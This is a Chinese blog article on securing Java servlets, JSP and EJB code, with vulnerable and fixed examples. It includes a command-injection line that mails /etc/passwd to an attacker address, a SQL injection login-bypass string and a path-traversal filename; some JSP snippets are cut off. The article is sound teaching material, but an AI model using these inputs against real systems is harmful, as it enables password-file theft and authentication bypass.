java平台的服务器端编程_Java服务器端编程安全必读

一、概述

编写安全的Internet应用并不是一件轻而易举的事情:只要看看各个专业公告板就可以

找到连续不断的安全漏洞报告。你如何保证自己的Internet应用不象其他人的应用那样

满是漏洞?你如何保证自己的名字不会出现在令人难堪的重大安全事故报道中?

如果你使用Java Servlet、JavaServer

Pages(JSP)或者EJB,许多难以解决的问题都

已经事先解决。当然,漏洞仍有可能出现。下面我们就来看看这些漏洞是什么,以及为

什么Java程序员不必担心部分C和Perl程序员必须面对的问题。

C程序员对安全漏洞应该已经很熟悉,但象OpenBSD之类的工程提供了处理此类问题的安

全系统。Java语言处理这类问题的经验要比C少20年,但另一方面,Java作为一种客户

端编程语言诞生,客户端对安全的要求比服务器端苛刻得多。它意味着Java的发展有着

一个稳固的安全性基础。

Java原先的定位目标是浏览器。然而,浏览器本身所带的Java虚拟机虽然很不错,但却

并不完美。Sun的《Chronology of security-related bugs and

issues》总结了运行

时环境的漏洞发现历史。我们知道,当Java用作服务器端编程语言时,这些漏洞不可能

被用作攻击手段。但即使Java作为客户端编程语言,重大安全问题的数量也从1996年的

6个(其中3个是相当严重的问题)降低到2000年的1个。不过,这种安全性的相对提高

并不意味着Java作为服务器端编程语言已经绝对安全,它只意味着攻击者能够使用的攻

击手段越来越受到限制。那么,究竟有哪些地方容易受到攻击,其他编程语言又是如何

面对类似问题的呢?

二、缓存溢出

在C程序中,缓存溢出是最常见的安全隐患。缓存溢出在用户输入超过已分配内存空间

(专供用户输入使用)时出现。缓存溢出可能成为导致应用被覆盖的关键因素。C程序

很容易出现缓存溢出,但Java程序几乎不可能出现缓存溢出。

从输入流读取输入数据的C代码通常如下所示:

char buffer[1000];

int len = read(buffer);

由于缓存的大小在读入数据之前确定,系统要检查为输入保留的缓存是否足够是很困难

的。缓存溢出使得用户能够覆盖程序数据结构的关键部分,从而带来了安全上的隐患。

有经验的攻击者能够利用这一点直接把代码和数据插入到正在运行的程序。

在Java中,我们一般用字符串而不是字符数组保存用户输入。与前面C代码等价的Java

代码如下所示:

String buffer = in.readLine();

在这里,"缓存"的大小总是和输入内容的大小完全一致。由于Java字符串在创建之后

不能改变,缓存溢出也就不可能出现。退一步说,即使用字符数组替代字符串作为缓存

,Java也不象C那样容易产生可被攻击者利用的安全漏洞。例如,下面的Java代码将产

生溢出:

char[] bad = new char[6];

bad[7] =

50;这段代码总是抛出一个java.lang.ArrayOutOfBoundsException异常,而

该异常可以由程序自行捕获:

try {

char[] bad = new char[6];

bad[7] = 50;

}

catch (ArrayOutOfBoundsException ex) {

... }

这种处理过程永远不会导致不可预料的行为。无论用什么方法溢出一个数组,我们总是

得到ArrayOutOfBoundsException异常,而Java运行时底层环境却能够保护自身免受任

何侵害。一般而言,用Java字符串类型处理字符串时,我们无需担心字符串的

ArrayOutOfBoundsExceptions异常,因此它是一种较为理想的选择。

Java编程模式从根本上改变了用户输入的处理方法,避免了输入缓存溢出,从而使得

Java程序员摆脱了最危险的编程漏洞。

三、竞争状态

竞争状态即Race

Condition,它是第二类最常见的应用安全漏洞。在创建(更改)资源

到修改资源以禁止对资源访问的临界时刻,如果某个进程被允许访问资源,此时就会出

现竞争状态。这里的关键问题在于:如果一个任务由两个必不可少的步骤构成,不管你

多么想要让这两个步骤一个紧接着另一个执行,操作系统并不保证这一点。例如,在数

据库中,事务机制使得两个独立的事件"原子化"。换言之,一个进程创建文件,然后

把这个文件的权限改成禁止常规访问;与此同时,另外一个没有特权的进程可以处理该

文件,欺骗有特权的进程错误地修改文件,或者在权限设置完毕之后仍继续对原文件进

行访问。

一般地,在标准Unix和NT环境下,一些高优先级的进程能够把自己插入到任务的多个步

骤之间,但这样的进程在Java服务器上是不存在的;同时,用纯Java编写的程序也不可

能修改文件的许可权限。因此,大多数由文件访问导致的竞争状态在Java中不会出现,

但这并不意味着Java完全地摆脱了这个问题,只不过是问题转到了虚拟机上。

我们来看看其他各种开发平台如何处理这个问题。在Unix中,我们必须确保默认文件创

建模式是安全的,比如在服务器启动之前执行"umask

200"这个命令。有关umask的更

多信息,请在Unix系统的命令行上执行"man

umask"查看umask的man文档。

在NT环境中,我们必须操作ACL(访问控制表,Access

Control List)的安全标记,保

护要在它下面创建文件的目录。NT的新文件一般从它的父目录继承访问许可。请参见

NT文档了解更多信息。

Java中的竞争状态大多数时候出现在临界代码区。例如,在用户登录过程中,系统要生

成一个唯一的数字作为用户会话的标识符。为此,系统先产生一个随机数字,然后在散

列表之类的数据结构中检查这个数字是否已经被其他用户使用。如果这个数字没有被其

他用户使用,则把它放入散列表以防止其他用户使用。代码如Listing

1所示:

(Listing 1)

// 保存已登录用户的ID

Hashtable hash;

// 随机数字生成器

Random rand;

// 生成一个随机数字

Integer id = new Integer(rand.nextInt());

while (hash.containsKey(id))

{

id = new Integer(rand.nextInt());

}

// 为当前用户保留该ID

hash.put(id, data);

Listing

1的代码可能带来一个严重的问题:如果有两个线程执行Listing

1的代码,其

中一个线程在hash.put(...)这行代码之前被重新调度,此时同一个随机ID就有可能被

使用两次。在Java中,我们有两种方法解决这个问题。首先,Listing

1的代码可以改

写成Listing

2的形式,确保只有一个线程能够执行关键代码段,防止线程重新调度,

避免竞争状态的出现。第二,如果前面的代码是EJB服务器的一部分,我们最好有一个

利用EJB服务器线程控制机制的唯一ID服务。

(Listing 2)

synchronized(hash)

{

// 生成一个唯一的随机数字

Integer id =

new Integer(rand.nextInt());

while (hash.containsKey(id))

{

id = new Integer(rand.nextInt());

}

// 为当前用户保留该ID

hash.put(id, data);

}

四、字符串解释执行

在有些编程语言中,输入字符串中可以插入特殊的函数,欺骗服务器使其执行额外的、

多余的动作。下面的Perl代码就是一个例子:

$data = "mail body";

system("/usr/sbin/sendmail -t $1 < $data");

显然,这些代码可以作为CGI程序的一部分,或者也可以从命令行调用。通常,它可以

按照如下方式调用:

perl script.pl hon...@true.com

它将把一个邮件(即"mail

body")发送给用户hon...@true.com。这个例子虽然简单

,但我们却可以按照如下方式进行攻击:

perl script.pl hon...@true.com;mail

c...@liarandthief.com < /etc/passwd

这个命令把一个空白邮件发送给hon...@true.com,同时又把系统密码文件发送给了

c...@liarandthief.com。如果这些代码是CGI程序的一部分,它会给服务器的安全带

来重大的威胁。

Perl程序员常常用外部程序(比如sendmail)扩充Perl的功能,以避免用脚本来实现外

部程序的功能。然而,Java有着相当完善的API。比如对于邮件发送,JavaMail

API就

是一个很好的API。但是,如果你比较懒惰,想用外部的邮件发送程序发送邮件:

Runtime.getRuntime().exec("/usr/sbin/sendmail -t $retaddr < $data");

事实上这是行不通的。Java一般不允许把OS级"

Runtime.exec()的一部分。你可能会尝试用下面的方法解决这个问题:

Runtime.getRuntime().exec("sh /usr/sbin/sendmail -t $retaddr < $data");

但是,这种代码是不安全的,它把前面Perl代码面临的危险带入了Java程序。按照常规

的Java方法解决问题有时看起来要比取巧的方法复杂一点,但它几乎总是具有更好的可

移植性、可扩展性,而且更安全、错误更少。Runtime.exec()只是该问题的一个简单例

子,其他许多情形更复杂、更隐蔽。

让我们来考虑一下Java的映像API(Reflection

API)。Java映像API允许我们在运行时

决定调用对象的哪一个方法。任何由用户输入命令作为映像查找条件的时机都可能成为

系统的安全弱点。例如,下面的代码就有可能产生这类问题:

Method m = bean.getClass().getMethod(action, new Class[] {});

m.invoke(bean, new Object[] {});

如果"action"的值允许用户改变,这里就应该特别注意了。注意,这种现象可能会在

一些令人奇怪的地方出现--或许最令人奇怪的地方就是JSP。大多数JSP引擎用映像

API实现下面的功能:

这个Bean的set方法应该特别注意,因为所有这些方法都可以被远程用户调用。例如,

对于Listing 3的Bean和Listing 4的JSP页面:

(Listing 3)

public class Example

{

public void setName(String name) {

this.name = name; }

public String getName() { return name; }

public void setPassword(String pass) {

this. pass = pass; }

public String getPassword() { return

pass; }

private String name;

private String pass;

}

(Listing 4)

class="Example" />

Bean示例

从表面上看,这些代码只允许用户访问example

Bean的名字。然而,了解该系统的用户

可以访问"http://whereever.com/example.jsp?name=Fred&password=hack"这种URL

。这个URL既改变name属性,也改变password密码属性。当然,这应该不是页面编写者

的意图,作者的意图是设计一个只允许用户访问名字属性的页面。因此,在使用

时应该非常小心

字符串被解释执行的问题可能在允许嵌入脚本代码的任何环境中出现。例如,这类问题

可能在Xalan(也称为LotusXSL)中出现,当然这是指系统设置不严格、易受攻击的情

况下。

Xalan的脚本支持能够关闭(而且这是Xalan的默认设置),在敏感的应用中关闭脚本支

持是一种明智的选择。当你需要用DOM处理XML文档时还必须考虑到另外一点:DOM保证

所有文本都经过正确的转义处理,防止非法的标记插入到脚本之内。LotusXSL缺乏这个

功能,但这绝不是一个BUG。支持脚本是LotusXSL的一个特色,而且它(明智地)默认

处于关闭状态。XSL的W3C规范并没有规定支持脚本的能力。

现在我们来看看字符串解释执行如何影响SQL和JDBC。假设我们要以用户名字和密码为

条件搜索数据库中的用户,Listing

5的Servlet代码看起来不错,但事实上它却是危险

的。

(Listing 5)

String user = request.getAttribute("username");

String pass = request.getAttribute("password");

String query = "SELECT id FROM users WHERE

username="+user+" AND password="+pass;

Statement stmt = con.createStatement(query);

ResultSet rs = con.executeQuery(query);

if (rs.next())

{

// 登录成功

int id = rs.getInt(1);

...

}

else

{

// 登录失败

...

}

如果用户输入的查询条件中,用户名字等于"fred",密码等于"something",则系

统执行的查询实际上是:

SELECT id FROM users WHERE

username='fred' AND password=

'something'

这个查询能够正确地对用户名字和密码进行检查。但是,如果用户输入的查询条件中,

名字等于"fred' AND ('a'='b",密码等于"blah') OR

'a'='a",此时系统执行的

查询变成了:

SELECT id FROM users

WHERE username='fred' AND (

'a'='b' AND password='blah') OR 'a'='a'

可以看出,这个查询无法正确地对用户名字和密码进行检查。Listing

6的代码要安全

得多,它从根本上防止了用户修改SQL命令逃避检查。

(Listing 6)

String user = request.getAttribute("username");

String pass = request.getAttribute("password");

String query = "SELECT id FROM users

WHERE username=? AND password=?";

PreparedStatement stmt = con.prepareStatement(query);

stmt.setString(1, user);

stmt.setString(2, pass);

ResultSet rs = stmt.executeQuery();

...

所有对文件系统的访问都是字符串可能被解释执行的地方。用Java访问文件系统时,我

们应该注意文件的命名方式。Listing

7是一个可能带来危险的例子。这个程序根据用

户输入决定读取哪个文件,它的危险就在于攻击者能够输入"../../../etc/passwd"

这样的文件名字并获得系统的密码文件。这可不是我们希望出现的事情。预防出现这种

安全漏洞最简单的方法是:除非绝对需要,否则不要使用平面文件(Flat

File)。

(Listing 7)

public class UnsafeServlet

{

public void doGet(HttpServletRequest request,

HttpServletResponse response)

{

String product = request.getAttribute("product");

Reader fin = new FileReader(

"/usr/unsafe/products/"+ product);

BufferedReader in = new BufferedReader(fin);

String cost = in.readLine();

// 其他处理过程

response.getWriter().println(cost);

}

}

大多数服务器系统,包括Servlet、JSP和EJB,都支持不直接依赖文件系统访问的配置

方法。使用定制的SecurityManager或者使用一个简单的检查脚本(检查程序是否直接

操作文件系统以及是否使用映像API),我们就可以实施"无文件系统直接访问"策略

。尽管大多数应用服务器允许使用文件系统,但一个好的EJB不会使用它。

最后,请务必不要忘记保持数据充分分离、精确定义这一良好的编程习惯。假设我们有

一个用来保存用户信息的数据库,现在需要增加一个字段标示用户是否具有超级用户权

限。如果在原来的表中增加一个列实在过于复杂,采用下面这种方法就变得很有吸引力

:在用户名字中加上一个特殊字符表示用户是否具有特殊权限,当用户登录时检查该特

殊字符,以便防止非法用户宣称自己拥有特殊权限。但事实上,这种做法是非常有害的

。所有的数据域,不管它是在数据库中还是作为局部变量,都应该精确定义且只保存一

份信息。

五、基本原则总结

根据上述讨论,我们得到如下防止出现安全问题的基本原则:

对于各个输入域,严格地定义系统可接受的合法输入字符,拒绝所有其他输入内容。

应该尽可能早地对用户输入进行检查,使得使用危险数据的区域减到最小。

不要依赖浏览器端JavaScript进行安全检查(尽管对用户来说这是一种非常有用的功能

),所有已经在客户端进行的检查应该在服务器端再进行一次。

这些原则有助于消除大量的安全问题。本质上,在应用这一级上,URL和POST数据是用

户和应用交互的唯一途径,所以我们的注意力应该集中在URL和用户输入数据的安全性

上。

当然,简单地遵从本文的建议并不能够保证绝对的安全。你必须分析其他各方面的因素

,包括网络的安全性以及你所用到的其他服务的安全性。

每天都有新的安全漏洞被发现和修正。在系统足够安全、可以连接到Internet之前,请

务必听取专家的建议;在正式提交源代码之前,一定要留意可能存在的漏洞。小心永不

过份。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
java进行客户端的applet (小程序)开发的技术已广为使用,而用java进行服务器端的servlet(服务器小程序)开发则尚需揭开其神秘的面纱,本书正是基于这样的目的编写的。全书从java服务器的体系结构、开发工具和管理工具、编程技术、安全机制等四个方面全面介绍java服务器的升友技术。通过阅读本书,读者不仅能够知道用java服务器体系结构开发servlet与用传统cgi编写程序的好处,而且还能够掌握编写java servlet的各种技术和技巧。    本书适用于所有对java和web感兴趣的读者使用和参考。 第1部分 java服务器基础[/font] [/font] 第1章 java计算的体系结构[/font] [/font] 1.1 传统的计算模式[/font] 1.1.1 集中式计算模式[/font] 1.1.2 胖客户机/服务器计算模式[/font] 1.1.3 瘦客户机/服务器计算模式[/font] 1.1.4 java desktop与x终端[/font] 1.2 java计算[/font] 1.3 小结[/font] [/font] 第2章 java服务器与servlet[/font] [/font] 2.1 java server的结构[/font] 2.1.1 服务[/font] 2.1.2 服务器[/font] 2.1.3 服务构架[/font] 2.1.4 服务器处理构架[/font] 2.1.5 http服务[/font] .2.1.6 核心servlet[/font] 2 1.7 acl[/font] 2.2 servlet及其功能[/font] 2.2.1 什么是servlet[/font] 2.2.2 servlet与applet的区别[/font] 2.2.3 servlet的应用[/font] 2.3 servlet与cgi的比较[/font] 2.3.1 cgi[/font] 2.3.2 servlet的优点[/font] 2.4 运行servlet[/font] 2.5 小结[/font] [/font] 第2部分 java服务器的开发工具和管理工具[/font] [/font] 第3章 使用java server与servlet开发工具[/font] [/font] 3.1 java web server的安装与启动[/font] 3.1.1 在windows 95或windows nt上安装[/font] 3.1.2 在unix上安装[/font] 3.1.3 java server环境变量的设置[/font] 3.1.4 启动java server[/font] 3.1.5 在端口80上启动java server[/font] 3.1.6 结束java serve的运行[/font] 3.1.7 删除java server[/font] 3.1.8 显示缺省主页[/font] 3.1.9 使用随机文档[/font] 3.2 servlet的加载和调用[/font] 3.2.1 加载servlet[/font] 3.2.2 servlet的标识[/font] 3.2.3 调用servlet[/font] 3.3 jsdk的安装与使用[/font] 3.3.1 servletrunner[/font] 3.3.2 在netscape服务器上安装jsdk[/font] 3.3.3 在apache服务器上安装[/font] 3.4 小结[/font] [/font] 第4章 java web server的管理[/font] [/font] 4.1 进入管理工具[/font] 4.2 设置[/font] 4.2.1 设置web service[/font] 4.2.2 设置proxy service[/font] 4.2.3 设置管理服务[/font] 4.3 监视[/font] 4.3.1 记录输出[/font] 4.3.2 记录统计[/font] 4.3.3 资源的使用[/font] 4.4 安全控制[/font] 4.4.1 用户管理[/font] 4.4.2 用户组[/font] 4.4.3 访问控制表[/font] 4.4.4 资源保护[/font] 4.5 servlet管理[/font] 4.5.1 增加servlet[/font] 4.5.2 设置servlet属性[/font] 4.5.3 修改servlet属性[/font] 4.5.4 删除servlet[/font] 4.6 小结[/font] [/font] 第3部分 java服务器编程[/font] [/font] 第5章 servlet包介绍[/font] [/font] 5.1 javax.servlet包[/font] 5.1.1 接口servlet[/font] 5.1.2 接口servletconfig[/font] 5.1.3 接口servletcontext[/font] 5.1.4 接口servletrequest[/font] 5.1.5 接口servletresponse[/font] 5.1.6 类genericservlet[/font] 5.1.7 类servletinputstream[/font] 5.1.8 类servletoutputstream[/font] 5.2 javax.servlet.http包[/font] 5.2.1 接口httpservletrequest[/font] 5.2.2 接口httpservletresponse[/font] 5.2.3 类httpservlet[/font] 5.2.4 类httputils[/font] 5.3 sun.servlet包介绍[/font] 5.3.1 接口servletconnection[/font] 5.3.2 类servletloader[/font] 5.4 小结[/font] [/font] 第6章 sun.servlet.http包介绍[/font] [/font] 6.1 类cookie[/font] 6.2 类httpdate[/font] 6.3 类httpinputstream[/font] 6.4 类httpoutputstream[/font] 6.5 类httprequest[/font] 6.6 类httpresponse[/font] 6.7 类httpserver[/font] 6.8 类httpserverhandler[/font] 6.9 类httpservletconfig[/font] 6.10 类messagebytes[/font] 6.11 类messagestring[/font] 6.12 类mimeheaderfield[/font] 6.13 类mimeheaders[/font] 6.14 小结[/font] [/font] 第7章 genericservlet编程[/font] [/font] 7.1 servlet编程的一个小例子[/font] 7.1.1 genericservlet在jsdk中的地位[/font] 7.1.2 从hello world学习genericservlet编程[/font] 7.1.3 servlet的两个生命周期函数[/font] 7.2 servlet中的对象[/font] 7.2.1 servlet中的请求和应答对象[/font] 7.2.2 selvlet中的servletconfig对象[/font] 7.3 servlet输出html文件[/font] 7.4 小结[/font] [/font] 第8章 httpservlet编程介绍[/font] [/font] 8.1 http简介[/font] 8.1.1 http协议基本概念及其特点[/font] 8.1.2 http协议的请求和应答[/font] 8.1.3 http协议的信息处理方法[/font] 8.2 httpservlet编程入门[/font] 8.2.1 一个简单例子[/font] 8.2.2 httpservlet的常用对象介绍[/font] 8.3 cookie编程介绍[/font] 8.3.1 cookie简介[/font] 8.3.2 一个cookie例子程序[/font] 8.4 小结[/font] [/font] 第9章 servlet高级编程[/font] [/font] 9.1 servlet与form[/font] 9.1.1 form简介[/font] 9.1.2 一个完整的form[/font] 9.2 编写一个shtml文本[/font] 9.3 异常处理[/font] 9.4 servlet与applet的通信[/font] 9.5 小结[/font] [/font] 第10章 聊天室[/font] [/font] 10.1 “聊天室”客户程序[/font] 10.2 “聊天室”服务器程序[/font] 10.3 “聊天”[/font] 10.4 小结[/font] [/font] 第11章 rmi与servlet[/font] [/font] 11.1 rmi概述[/font] 11.2 如何编写rmi[/font] 11.2.1 定义一个远程接口[/font] 11.2.2 实现远程接口[/font] 11.2.3 写一个applet[/font] 11.2.4 写html文本[/font] 11.2.5 编译和执行[/font] 11.3 rmi与servlet[/font] 11.3.1 定义远程接口[/font] 11.3.2 实现远程接口[/font] 11.3.3 调用rmi的servlet[/font] 11.3.4 调用servlet的applet[/font] 11.3.5 三个超文本文件[/font] 11.3.6 编译和执行[/font] 11.4 小结[/font] [/font] 第12章 servlet与jdbc[/font] [/font] 12.1 jdbc简介[/font] 12.1.1 实现jdbc[/font] 12.1.2 jdbc类细节[/font] 12.2 jdbc与servlet结合[/font] 12.2.1 基本过程[/font] 12.2.2 servlet的同步[/font] 12.2.3 应用举例[/font] 12.3 小结[/font] [/font] 第13章 开发服务[/font] [/font] 13.1 服务[/font] 13.2 实现服务的核心[/font] 13.3 安装服务[/font] 13.3.1 创建属性文件[/font] 13.3.2 创建jamfile[/font] 13.4 创建日志[/font] 13.4.1 日志文件类型[/font] 13.4.2 在自己的服务中加入日志文件[/font] 13.5 服务的参数管理[/font] 13.5.1 系统参数[/font] 13.5.2 增加新的参数[/font] 13.5.3 创建存放参数的域[/font] 13.5.4 实现访问方法[/font] 13.5.5 构造器[/font] 13.5.6 update方法[/font] 13.6 使用realm来创建安全服务[/font] 13.6.1 查找realm[/font] 13.6.2 设置realm[/font] 13.6.3 收集用户数据的对象[/font] 13.6.4 给服务增加身份验证代码[/font] 13.7 小结[/font] [/font] 第14章 pagecompile[/font] [/font] 14.1 生成动态主页[/font] 14.1.1 创建第一个主页[/font] 14.1.2 从html文档到java源文件[/font] 14.2 语法[/font] 14.2.1 声明变量[/font] 14.2.2 条件语句[/font] 14.2.3 循环语句[/font] 14.2.4 注释[/font] 14.2.5 使用backquotes[/font] 14.2.6 使用servlet标记[/font] 14.2.7 输出java表达式[/font] 14.3 使用java类[/font] 14.3.1 重用java类[/font] 14.3.2 创建自己的类[/font] 14.3.3 访问request和response对象[/font] 14.4 servlet初始化参数[/font] 14.5 pagecompile中使用的标记[/font] 14.6 小结[/font] [/font] 第4部分 java服务器安全机制[/font] [/font] 第15章 java web server的安全机制[/font] [/font] 15.1 安全综述[/font] 15.1.1 常见的攻击形式[/font] 15.1.2 java web server的安全机制[/font] 15.1.3 其他特点[/font] 15.1.4 unix上的独有特点[/font] 15.2 web realm机制[/font] 15.2.1 realm模型[/font] 15.2.2 用户和授权[/font] 15.2.3 用户组[/font] 15.3 访问控制表(acl)[/font] 15 3.1 访问控制表结构[/font] 15.3.2 计算权限的规则[/font] 15.3.3 例子[/font] 15.3.4 用法举例[/font] 15.4 ssl机制[/font] 15.4.1 什么是ssl[/font] 15.4.2 建立安全的web服务[/font] 15.4.3 使用认证许可[/font] 15.5 沙盒[/font] 15.6 小结[/font]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值